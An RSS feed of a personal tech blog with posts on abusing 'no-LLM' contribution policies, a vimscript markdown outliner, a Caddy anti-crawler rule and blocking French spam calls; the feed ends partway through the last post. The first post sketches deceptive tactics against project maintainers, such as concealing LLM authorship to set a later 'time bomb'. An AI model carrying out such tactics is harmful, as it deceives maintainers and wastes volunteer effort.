<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"><channel><title>Artificial truth</title><link>https://dustri.org/b/</link><description></description><lastBuildDate>Tue, 07 Jul 2026 15:45:00 +0200</lastBuildDate><item><title>The AI-authored Denial-of-Service attack</title><link>https://dustri.org/b/the-ai-authored-denial-of-service-attack.html</link><description>&lt;p&gt;In 2020, my friend anarcat published &lt;a href="https://anarc.at/blog/2020-02-24-cla-dos/"&gt;the CLA Denial-Of-Service attack&lt;/a&gt;, an interesting musing on the
possibility of weaponising CLA, boiling down to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;find a critical bug&lt;/li&gt;
&lt;li&gt;figure out a [non-trivial] patch for the bug&lt;/li&gt;
&lt;li&gt;publish the patch in their issue tracker&lt;/li&gt;
&lt;li&gt;forever refuse to sign the CLA&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The obvious solution to this conundrum is to perform &lt;a href="https://en.wikipedia.org/wiki/Clean-room_design"&gt;clean-room
reimplementation&lt;/a&gt;: have a
person read the patch and produce a specification, then have a second distinct
person read the specification and produce a patch. It's not a silver bullet, as
the less trivial the change, the lengthier the specification, and thus the
lengthier and complexer the implementation. And because of course, complexity
doesn't scale linearly, large changes are horribly annoying to
reimplement.&lt;/p&gt;
&lt;p&gt;On the bright side, there is a symmetry in the efforts: an attacker has to
spend time to create a non-trivial change that warrants the effort of being
clean-room'ed. The ubiquitousness of LLM didn't change this balance, it only
lowered the costs for both sides: telling the AI God du jour to write code is
cheap, and so &lt;a href="https://malus.sh/"&gt;are clean room reimplementations&lt;/a&gt;. While
pure-AI outputs can't be copyrighted, having an actual person shepherding it
and sprinkling some authentic human changes and touches it cheap and should be
enough to stamp a copyright on top of it.&lt;/p&gt;
&lt;p&gt;But not everyone is comfortable with code produced by AI/LLM, with
&lt;a href="https://codeberg.org/forgejo/governance/src/branch/main/AIAgreement.md"&gt;some&lt;/a&gt;
&lt;a href="https://wiki.gentoo.org/wiki/Project:Council/AI_policy"&gt;projects&lt;/a&gt; banning
code that isn't 100% human-created. This introduces an
imbalance, as having someone volunteer to read the changes and produce a spec
that could then be used by a different person to implement the fix is orders of
magnitude more costly for the project than for an attacker to generate slop,
likely wing to &lt;a href="https://en.wikipedia.org/wiki/Brandolini%27s_law"&gt;Brandolini's law&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Slop can, of course, be ignored, and small desirable improvements are trivial
to reimplement, so besides identifying slop, it's not a big issue anyway. An
easy way to spice things up would be to find a security issue with a
non-trivial but-still-straightforward fix, send a pull-request with
&lt;code&gt;Co-authored-by: Claudepilchat&lt;/code&gt;, and argue that the clean-room reimplementation
is erringly similar to LLM one, which would be a &lt;em&gt;license violation&lt;/em&gt;, gasp!&lt;/p&gt;
&lt;p&gt;Another more impactful possibility would be to use a time bomb, by sending a
proper legit-looking invasive change. It could be reviewed, merged and shipped,
only for the author to reveal, 3 months later, that the change was actually
done by an LLM, oops-sorry-I-forgot. Would the project spend time in doing a
tedious reversing of all the changes? If so, what if the change was addressing
a complex security issues? If the change isn't reversed, does it mean that the
"no LLM" policy is selectively applied?&lt;/p&gt;
&lt;p&gt;Now, I'm not a fan of the "incinerating the planet and feeding unfathomably
high amounts of human-needed resources to train glorified text-prediction
engines so that we can all drown in slop and witness every artistic endeavour
be sucked dry and regurgitated in the form of soulless copy-pasta
every-fucking-where" plan, and I think it would be real nice to stop
implementing it right now. But, on the other hand, I don't think that a
self-righteousness attitude is the appropriate position to adopt: people &lt;em&gt;are&lt;/em&gt;
going to send slop to your project, people &lt;em&gt;are&lt;/em&gt; going to cheat, it will
happen. Having a pragmatic position on this mess, like "we ask you not to use
LLM in any way, shape or form, don't be a dick" paired with a trusty
trigger-happy ban-hammer conveys the same message while avoiding painting your
project into a corner.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 07 Jul 2026 15:45:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-07-07:/b/the-ai-authored-denial-of-service-attack.html</guid><category>dev</category></item><item><title>Markdown outline in (neo)vim with fzf</title><link>https://dustri.org/b/markdown-outline-in-neovim-with-fzf.html</link><description>&lt;p&gt;I'm currently somehow or other writing a book, meaning that I'm spending a
significant amount of time with markdown files open in my text editor, which
happens to be (neo)vim. It's one of the least worst editors around, and I've
been using it for more than 15 years I think. Unfortunately it doesn't have a
great scripting language: vimscript is dreadful to read and equally dreadful to
write, like an organic growth of a Perl tumor on top of a JavaScript teratoma
on a perpetually dying swamp creature.&lt;/p&gt;
&lt;p&gt;Anyway, the book currently has a bit less than 500 headings of various levels spread
between ~20 chapters, making it non-trivial to keep them all in my head,
meaning that I often wonders in what section the paragraph I'm writing is. So I
took it upon myself to get dirty, and wrote a small snippet of vimscript to
show me the current file's outline and my current position in it. It doesn't go
out of its way to handle technically-valid-but-nobody-should-do-that markdown
and is reasonably fast, taking around 7ms on a 20k lines/400 headings file on
my machine. It should be compatible with neovim ≥ 0.10 and vim ≥ 9.1.0099, as
the only &lt;em&gt;modern&lt;/em&gt; construct it uses is the
&lt;a href="https://github.com/vim/vim/commit/f93b1c881a99fa847a1bafa71877d7e16f18e6ef"&gt;&lt;code&gt;matchbufline&lt;/code&gt;&lt;/a&gt;
function.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt; MarkdownOutline&lt;span class="p"&gt;()&lt;/span&gt; abort
  &lt;span class="k"&gt;if&lt;/span&gt; &amp;amp;&lt;span class="k"&gt;filetype&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt;# &lt;span class="s1"&gt;&amp;#39;markdown&amp;#39;&lt;/span&gt;
    echohl WarningMsg &lt;span class="p"&gt;|&lt;/span&gt; echo &lt;span class="s1"&gt;&amp;#39;Not a markdown file&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; echohl None &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;
  &lt;span class="k"&gt;endif&lt;/span&gt;

  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:cur_line &lt;span class="p"&gt;=&lt;/span&gt; line&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                 
  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:cur_idx &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;                                                          
  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:entries &lt;span class="p"&gt;=&lt;/span&gt; []                                                         
  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:is_fenced &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;                                                        
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; matchbufline&lt;span class="p"&gt;(&lt;/span&gt;bufnr&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\v^%(#+ |```)&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;$&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:text &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;match&lt;/span&gt;.text                                                
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:text[&lt;span class="m"&gt;0&lt;/span&gt;] &lt;span class="p"&gt;==&lt;/span&gt;# &lt;span class="s1"&gt;&amp;#39;`&amp;#39;&lt;/span&gt;                                                     
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:is_fenced &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:is_fenced                                         
    &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:is_fenced                                                      
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:line &lt;span class="p"&gt;=&lt;/span&gt; getline&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;match&lt;/span&gt;.lnum&lt;span class="p"&gt;)&lt;/span&gt;                                     
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:level &lt;span class="p"&gt;=&lt;/span&gt; stridx&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:line&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                      
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="nb"&gt;title&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:line[&lt;span class="k"&gt;l&lt;/span&gt;:level :]                                        
      &lt;span class="k"&gt;call&lt;/span&gt; add&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:entries&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;match&lt;/span&gt;.lnum . &lt;span class="s2"&gt;&amp;quot;\t&amp;quot;&lt;/span&gt; . repeat&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:level &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; . &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="nb"&gt;title&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;match&lt;/span&gt;.lnum &lt;span class="p"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:cur_line                                          
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:cur_idx &lt;span class="p"&gt;=&lt;/span&gt; len&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:entries&lt;span class="p"&gt;)&lt;/span&gt;                                       
      &lt;span class="k"&gt;endif&lt;/span&gt;                                                                  
    &lt;span class="k"&gt;endif&lt;/span&gt;                                                                    
  &lt;span class="k"&gt;endfor&lt;/span&gt;                                                                     

  &lt;span class="k"&gt;if&lt;/span&gt; empty&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;:entries&lt;span class="p"&gt;)&lt;/span&gt;
    echohl WarningMsg &lt;span class="p"&gt;|&lt;/span&gt; echo &lt;span class="s1"&gt;&amp;#39;No headings found&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; echohl None &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;
  &lt;span class="k"&gt;endif&lt;/span&gt;

  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;options&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; [&lt;span class="s1"&gt;&amp;#39;--prompt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Outline&amp;gt; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--delimiter&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;\t&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        \          &lt;span class="s1"&gt;&amp;#39;--with-nth&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2..&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--layout&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;reverse&amp;#39;&lt;/span&gt;]
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:cur_idx &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;options&lt;/span&gt; &lt;span class="p"&gt;+=&lt;/span&gt; [&lt;span class="s1"&gt;&amp;#39;--bind&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;load:pos(&amp;#39;&lt;/span&gt; . &lt;span class="k"&gt;l&lt;/span&gt;:cur_idx . &lt;span class="s1"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;]
  &lt;span class="k"&gt;endif&lt;/span&gt;

  &lt;span class="k"&gt;call&lt;/span&gt; fzf#run&lt;span class="p"&gt;(&lt;/span&gt;fzf#&lt;span class="nb"&gt;wrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;markdown-outline&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; {
        \ &lt;span class="s1"&gt;&amp;#39;source&amp;#39;&lt;/span&gt;:  &lt;span class="k"&gt;l&lt;/span&gt;:entries&lt;span class="p"&gt;,&lt;/span&gt;
        \ &lt;span class="s1"&gt;&amp;#39;sink&amp;#39;&lt;/span&gt;:    {&lt;span class="k"&gt;l&lt;/span&gt; &lt;span class="p"&gt;-&amp;gt;&lt;/span&gt; execute&lt;span class="p"&gt;(&lt;/span&gt;matchstr&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;^\d\+&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; . &lt;span class="s1"&gt;&amp;#39; | normal! zz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;}&lt;span class="p"&gt;,&lt;/span&gt;
        \ &lt;span class="s1"&gt;&amp;#39;options&amp;#39;&lt;/span&gt;: &lt;span class="k"&gt;l&lt;/span&gt;:&lt;span class="k"&gt;options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        \ }&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;endfunction&lt;/span&gt;

&lt;span class="nb"&gt;nnoremap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;silent&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;leader&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;o&lt;/span&gt; :&lt;span class="k"&gt;call&lt;/span&gt; MarkdownOutline&lt;span class="p"&gt;()&amp;lt;&lt;/span&gt;CR&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot of the script in action" src="https://dustri.org/b/images/ouline_vim_md.png"&gt;&lt;/p&gt;
&lt;p&gt;It depends on &lt;a href="https://github.com/junegunn/fzf"&gt;fzf&lt;/a&gt;, to both show/filter the
outline and quickly jump to whichever I want. Fortunately, it is packaged in
most distributions, along with its thin vimscript wrapper that can be loaded
like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; plugin_path &lt;span class="k"&gt;in&lt;/span&gt; [
                        \ &lt;span class="s1"&gt;&amp;#39;/usr/share/doc/fzf/examples/plugin/fzf.vim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        \ &lt;span class="s1"&gt;&amp;#39;/usr/share/nvim/runtime/plugin/fzf.vim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        \ &lt;span class="s1"&gt;&amp;#39;/usr/share/vim/vimfiles/plugin/fzf.vim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        \ &lt;span class="s1"&gt;&amp;#39;/usr/share/nvim/site/plugin/fzf.vim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        \ ]
  &lt;span class="k"&gt;if&lt;/span&gt; filereadable&lt;span class="p"&gt;(&lt;/span&gt;plugin_path&lt;span class="p"&gt;)&lt;/span&gt;
    exec &lt;span class="s2"&gt;&amp;quot;source&amp;quot;&lt;/span&gt; . fnameescape&lt;span class="p"&gt;(&lt;/span&gt;plugin_path&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;nnoremap&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;C&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="k"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; :FZF&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Cr&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;
  &lt;span class="k"&gt;endif&lt;/span&gt;
&lt;span class="k"&gt;endfor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, I'm sure that there are plugins on GitHub doing all of this, but I'm
averse to the idea of my editor downloading random code from the internet
and executing it, sometimes as root.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 01 Jul 2026 02:30:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-07-01:/b/markdown-outline-in-neovim-with-fzf.html</guid><category>dev</category></item><item><title>Trivial anti-crawler with Caddy</title><link>https://dustri.org/b/trivial-anti-crawler-with-caddy.html</link><description>&lt;p&gt;With the internet being crawled to death to feed the AI God, it's becoming
seriously annoying to exposed web content on the internet. While
&lt;a href="https://anubis.techaro.lol/"&gt;anubis&lt;/a&gt; works, it's yet another layer of
complexity. It might be worth deploying and tuning it for high-profile
websites, but for my &lt;a href="https://git.dustri.org"&gt;cgit instance&lt;/a&gt;, it's absolutely
overkill.&lt;/p&gt;
&lt;p&gt;Instead, I'm taking advantage of &lt;a href="https://caddyserver.com/"&gt;Caddy&lt;/a&gt; (whose
&lt;a href="https://caddyserver.com/docs/"&gt;documentation&lt;/a&gt; doesn't have a search feature‽)
matching capabilities to gate access on either the ability to execute
javascript to set a cookie, or having a user-agent string starting with &lt;code&gt;git/&lt;/code&gt;
so that repository are still cloneable.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dustri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tls&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;noindex&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;compress&lt;/span&gt;

        &lt;span class="nd"&gt;@unverified&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="n"&gt;Cookie&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;not_a_crawler&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
                &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Agent&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;handle&lt;/span&gt; &lt;span class="nd"&gt;@unverified&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;
                &lt;span class="n"&gt;respond&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EOF&lt;/span&gt;
                    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;not_a_crawler=1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="n"&gt;EOF&lt;/span&gt; &lt;span class="mi"&gt;418&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;reverse_proxy&lt;/span&gt; &lt;span class="n"&gt;cgit_upstream&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It's not perfect, trivial to bypass, but strikes the right balance between
simplicity/zero-maintenance and blocking crawlers.
This technique is &lt;a href="https://github.com/canonical/ubuntu-autopkgtest-operators/pull/127/changes"&gt;now used&lt;/a&gt; on &lt;a href="https://autopkgtest.ubuntu.com"&gt;https://autopkgtest.ubuntu.com&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Tue, 23 Jun 2026 13:45:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-06-23:/b/trivial-anti-crawler-with-caddy.html</guid><category>sysadmin</category></item><item><title>Bloquer le spam téléphonique chez Free Mobile</title><link>https://dustri.org/b/bloquer-le-spam-telephonique-chez-free-mobile.html</link><description>&lt;p&gt;This blogpost is in French, as it explains how to block spam calls for
&lt;a href="https://en.wikipedia.org/wiki/Free_Mobile"&gt;Free Mobile&lt;/a&gt; customers.&lt;/p&gt;
&lt;p&gt;Le spam téléphonique fait partie de ces petites chose irritantes du quotidien
dont on se passerait bien et qui continuent d'exister au mépris du bon sens. En
attendant que la pratique soit rendue illégale et punie par une marche forcée
sur de tout petits Lego, il est possible, via l'interface web de Free,
de bloquer les plages de numéros utilisés par ces pénibles pour nous pourrir 
ledit quotidien.&lt;/p&gt;
&lt;p&gt;L'&lt;a href="https://fr.wikipedia.org/wiki/Autorit%C3%A9_de_r%C3%A9gulation_des_communications_%C3%A9lectroniques,_des_postes_et_de_la_distribution_de_la_presse"&gt;ARCEP&lt;/a&gt;,
louée soit-elle, publie &lt;a href="https://www.arcep.fr/actualites/actualites-et-communiques/detail/n/plan-de-numerotation-050922.html"&gt;une
page&lt;/a&gt;
détaillant le plan de numérotation téléphonique français, qui raconte en gros
que "les prefixes 0162, 0163, 0270, 0271, 0377, 0378, 0424, 0425, 0568, 0569,
0948, 0949, 09475, 09476, 09477, 09478 et 09479 sont utilisés pour le
démarchage".&lt;/p&gt;
&lt;p&gt;Malheureusement, il reste des petits &lt;em&gt;plaisantins&lt;/em&gt; qui utilisent d'autres numéros
pour chagriner le quidam, souvent d'opérateurs qu'on pourrait charitablement 
qualifier de "peu regardant". Une solution tout à fait valide serait
d'utiliser &lt;a href="https://saracroche.org/"&gt;saracroche&lt;/a&gt;, une chouette application
iOS/Android &lt;a href="https://codeberg.org/cbouvat"&gt;open-source&lt;/a&gt; qui permet de non
seulement de bloquer les indésirables, mais également de collectivement
constituer une base de données les recensant. Un petit passage par &lt;a href="https://saracroche.org/fr/help/blocked-numbers/"&gt;la
documentation&lt;/a&gt; nous informe
qu' "environ 15 millions de numéros sont bloqués, dont 12,5 millions
correspondent aux préfixes réservés au démarchage téléphonique, communiqués par
l'ARCEP". Plutôt que d'installer une nième application, on va
utiliser son API pour aller récupérer quelques préfixes en plus de ceux
de l'ARCEP. Comme la liste est conséquente, on va dégrossir par taille de
plage :&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;######&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;12&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;#####&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;20&lt;/span&gt;
&lt;span class="gp"&gt;$ &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--silent&lt;span class="w"&gt; &lt;/span&gt;https://saracroche.org/api/v1/lists/french-list-arcep-operators&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.patterns[] | select(.pattern | contains(&amp;quot;####&amp;quot;))&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wc&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;span class="go"&gt;253&lt;/span&gt;
